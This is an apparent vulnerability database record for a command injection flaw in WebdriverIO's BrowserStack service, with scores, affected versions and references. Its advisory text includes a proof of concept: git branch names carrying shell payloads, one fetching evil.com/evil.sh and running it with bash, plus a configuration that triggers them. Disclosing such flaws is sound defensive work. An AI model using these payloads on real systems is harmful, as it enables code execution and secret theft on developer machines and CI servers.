{"id":"CVE-2026-25244","aliases":["CVE-2026-25244","GHSA-5c46-x3qw-q7j7"],"related":[],"kind":"vulnerability","state":"published","title":"WebdriverIO has Command Injection in the BrowserStack Service","summary":"WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.","source":"cvelist"},{"lang":"en","text":"### Summary\nA command injection vulnerability exists in `@wdio/browserstack-service` that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.\n\n### Details\n_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._\n\n### Vulnerable Code\n**File**:  https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204\n\n### Root Cause\nUser-controlled git branch names are directly interpolated into `execSync()` calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection.\nGit allows to create these branches.\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;rm\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\ngit checkout -b \"main;curl\\${IFS}evil.com/evil.sh\\${IFS}>/tmp/evil.sh;bash\\${IFS}/tmp/evil.sh;echo\\${IFS}PWNED\"\n```\n\n\n### Attack Vector\n1. Attacker creates a malicious git repository with a branch name containing command injection payload\n2. Attacker configures WebdriverIO to use this repository via `testOrchestrationOptions.runSmartSelection.source`. if `source` is not provided it takes current directory as `source`.\n3. When `getGitMetadataForAISelection()` executes, it extracts the malicious branch name\n4. Branch name is interpolated into shell commands without sanitization\n5. Shell interprets special characters and executes attacker's commands\n\n### PoC\n### Step 1: Create Malicious Repository Branch\n```\ngit checkout -b \"main;touch\\${IFS}/tmp/pwned.txt;echo\\${IFS}PWNED\"\n```\n\n### Step 2: Configure WebdriverIO\n\n```javascript\n// wdio.conf.js\nexport const config = {\n    services: [\n        ['browserstack', {\n            user: process.env.BROWSERSTACK_USERNAME,\n            key: process.env.BROWSERSTACK_ACCESS_KEY,\n            testOrchestrationOptions: {\n                runSmartSelection: {\n                    enabled: true,\n                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without \"source\" field, it runs in the current directory.\n                }\n            }\n        }]\n    ],\n    // ... rest of config\n}\n```\n### Step 3: Run Tests\n\n```bash\nnpm run wdio\n```\n### Step 4: Verify RCE\n\n```bash\n# Check if file was created (proof of RCE)\nls -la /tmp/pwned.txt\n```\n\n### Impact\n\n- **Remote Code Execution** on CI/CD servers or developer machines\n- **Information Disclosure** (environment variables, secrets, credentials)\n- **Data Exfiltration** (source code, SSH keys, configuration files)\n- **System Compromise** (backdoor installation, lateral movement)\n- **Supply Chain Attack** (modify build artifacts)","format":"markdown","source":"ghsa"},{"lang":"es","text":"WebdriverIO es un framework de automatización de pruebas para pruebas unitarias, e2e y de componentes utilizando WebDriver, WebDriver BiDi y Appium. Las versiones anteriores a la 9.24.0 contienen una vulnerabilidad de inyección de comandos que conduce a la ejecución remota de código (RCE) en la orquestación de pruebas. Git permite nombres de rama que contienen metacaracteres de shell, y getGitMetadataForAISelection() interpola estos nombres directamente en las llamadas a execSync() sin sanitización. Un atacante puede explotar esto suministrando un repositorio malicioso (a través de testOrchestrationOptions.runSmartSelection.source, o el directorio actual si no está configurado) cuyo nombre de rama contenga una carga útil, lo que provoca que el shell ejecute código arbitrario. Esto permite la ejecución remota de código en servidores CI/CD y máquinas de desarrolladores, lo que lleva a la divulgación de credenciales y secretos, la exfiltración de código fuente y claves SSH, el compromiso del sistema y ataques a la cadena de suministro a través de artefactos de compilación manipulados. El problema ha sido solucionado en la versión 9.24.0.","source":"nvd"}],"published":"2026-05-11T17:53:46.000Z","modified":"2026-09-10T03:51:04.731Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"},{"scorer":"redhat-SADP","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","score":8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"rating":"CRITICAL"}],"cwes":["CWE-78"],"affected":[{"ranges":[{"version":"< 9.24.0","status":"affected"}],"vendor":"webdriverio","product":"webdriverio","source":"cvelist"},{"ranges":[],"vendor":"Red Hat","product":"Red Hat Hardened Images","package":"dotnet8.0","cpe":"cpe:/a:redhat:hummingbird:1","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"9.24.0"}],"ecosystem":"npm","package":"@wdio/browserstack-service","purl":"pkg:npm/%40wdio/browserstack-service","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"9.24.0"}],"vendor":"openjsf","product":"webdriverio","cpe":"cpe:2.3:a:openjsf:webdriverio:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/webdriverio/webdriverio/security/advisories/GHSA-5c46-x3qw-q7j7","tags":["exploit","vendor-advisory","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204","tags":["product","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/webdriverio/webdriverio/releases/tag/v9.24.0","tags":["product","release-notes","web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-25244","tags":["vdb-entry","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2479692","tags":["issue-tracking","x-refsource-redhat"],"sources":["cvelist","nvd"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25244.json","tags":["x-sadp-csaf-vex"],"sources":["cvelist","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25244","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/webdriverio/webdriverio","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-05-19T12:58:08.253Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-25244","url":"https://www.cve.org/CVERecord?id=CVE-2026-25244","licence":"CVE Terms of Use","modified":"2026-07-23T12:07:59.804Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-5c46-x3qw-q7j7","url":"https://github.com/advisories/GHSA-5c46-x3qw-q7j7","licence":"CC-BY-4.0","modified":"2026-09-10T03:51:04.731Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-25244","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25244","licence":"Public domain","modified":"2026-07-24T13:10:00.223Z"}],"updatedAt":"2026-11-25T22:59:21.934Z","epss":{"score":0.03308,"percentile":0.88872,"date":"2026-12-01T12:00:22.000Z"}}